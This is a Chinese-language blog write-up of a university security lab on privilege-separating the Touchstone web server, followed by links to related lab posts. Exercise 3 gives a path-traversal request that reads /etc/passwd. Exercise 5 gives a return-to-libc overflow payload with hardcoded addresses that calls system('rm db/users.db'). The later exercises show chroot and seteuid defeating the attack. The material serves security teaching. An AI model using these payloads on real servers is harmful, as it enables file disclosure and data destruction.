Lab3 Privilege Separation

原创 2015年11月17日 22:24:04

Lab Overview

In this lab, you’ll explore privilege separation. The key insight of privilege separation is to give minimal privilege to each component of a system, so that when one component of the system is comprised, other components will not be comprised too.
To make the discussion concrete, you will do this lab for the Touchstone web server, that is, you will privilege-separate the Touchstone web server by giving each component appropriate privilege. To be specific, you will first examine possible bugs in the source code of the Touchstone web server, and comprise the Touchstone web server by designing and performing exploitations. Finally, you will break up the application into privilege-separated components to minimize the effects of possible vulnerabilities.

This lab consists of three parts:
Part A: you will examine the architecture of the Touchstone web server. The Touchstone web server in this lab differs dramatically from those from lab 1 and 2, the current one is based on the idea of services;
Part B: you will explore jail, by which you can constraint the service in some fake root directory;
Part C: you will privilege-separate the Touchstone web server by assigning each component appropriate privilege.

Exercise 1

如果运行touchstone出现如下情况

这里写图片描述

关闭apache即可:

$ sudo /etc/init.d/apache2 stop

这里写图片描述
这里写图片描述


Exercise 2

这里我们增加一个保存上次登录时间的功能。
修改init_db()函数,增加“date”字段:

这里写图片描述

在sqlhelper.c中增加函数get_date()用于获取上次登录时间:

这里写图片描述

增加函数update_data()用于更新数据库:

这里写图片描述

修改register_db()函数,使得注册的时候保存当前时间为注册时间:

这里写图片描述

在Handle_post()函数中应该修改调用为register_db(name, pwd, datetime),同时登录时应把注册时间显示在网页上。

这里写图片描述


Exercise 3

观察hadleGet()函数:

这里写图片描述

要访问/etc/passwd文件,只需让uri等于passwd的相对路径即可,因此只需把请求修改为

 char *req ="GET /../../../../../etc/passwd HTTP/1.1\r\n\r\n";

这里写图片描述


Exercise 4

在server.c的main()函数中调用chroot()函数即可:

 chroot("/jail");

这里写图片描述


Exercise 5

这里和Lab 2类似,不做过多阐述:

这里写图片描述

int main()
{
    ...
    char *shellcode = "rm db/users.db";
    char req[1080];
    int i = 0;
    memset(req,'a',strlen(req));
    for(;i < strlen(shellcode);i ++)
      req[i] = shellcode[i];
    req[i] = '\0';
    req[2] = 9;
    *((int *)&req[1064]) = 0xb7fcee10;    //system
    *((int *)&req[1072]) = 0xbfffeeb4;    //&s
    req[1076] = '\r';
    req[1077] = '\n';
    req[1078] = '\r';
    req[1079] = '\n';
    ...
}

Exercise 6

由于/jail目录所有者为root,因此只需在调用httpd前设置e_uid为普通用户(即非0)即可:

seteuid(1000);

Exercise 7

不能成功。攻击时服务器端会出现删除文件的提示,因为执行删除命令的httpd已经不再是以root身份运行。即使同意删除,也会因为权限而删除失败。

这里写图片描述


Challenge


Resource

版权声明:欢迎转载,尊重他人,转载请注明出处。

Lab 3-Privilege Separation

  • 2015年11月23日 13:40
  • 494KB
  • 下载

cs app lab3 缓冲区溢出攻击 bufbomb

Level 0: Candle (10 pts) The function getbuf is called within BUFBOMB by a function test having the ...

同步机制实验报告_Nachos Lab3

内容一:总体概述 通过本次实习,了解同步的原理及其实现方法。信号量及PV操作是一种经典的同步方法,通过P和V操作在进程间传递一个整数值。为了解决信号量机制带来的程序编写困难、效率低等不足,出现了管程...

关于CSAPP lab3中压栈问题引发的思考

之前有个问题也没特别注意,今天回来看邮件发现有同学和我讨论关于函数调用压栈的问题。 废话少说,直接上对比测试图: 图一:CSAPP lab3的getbuf反汇编结果截图 图二: 我测...

MIT 6.828 学习笔记5 Lab3实验报告

Lab3 实验报告 Exercise 1 Modify mem_init() in kern/pmap.c to allocate and map the envs array. // ...

MIT OS lab3--小结续 系统调用与用户接口 (cprintf..)

MIT OS lab3--小结续 系统调用与用户接口 (cprintf..) 2010-01-30 16:31 前面总结了:系统调用是OS留给用户的接口。用户的许多操作需要...

CSAPP: Bomb Lab(3)

Bomb 5 & Bomb 6

Lab 3:自行车码表

实验目的 实验器材 硬件 软件 实验步骤 一连接示意图 二首先配置环境安装STM32CubeMX等等一系列 三UART图 四编写Cube程序配置UART0为96008n1上电后向串口输出Hello在P...
  • inkky
  • inkky
  • 2016年04月30日 00:02
  • 1757

操作系统 lab3 笔记

操作系统 Lab3   昨天和前天把MoreWindows的秒杀线程系列看了个大部分,今天去图书馆自己动手写了下读者写着问题,几乎写了一整天,太挫了。当然收获也很多。   读者写者问题是很经典...
  • ggfaith
  • ggfaith
  • 2013年06月26日 15:51
  • 268

OOAD Lab3实验文档

分析类文档 LAB1:http://blog.csdn.net/a83370892/article/details/69486267 LAB2:http://blog.csdn.net/a8337...
内容举报
返回顶部
收藏助手
不良信息举报
您举报文章:Lab3 Privilege Separation
举报原因:
原因补充:

(最多只允许输入30个字)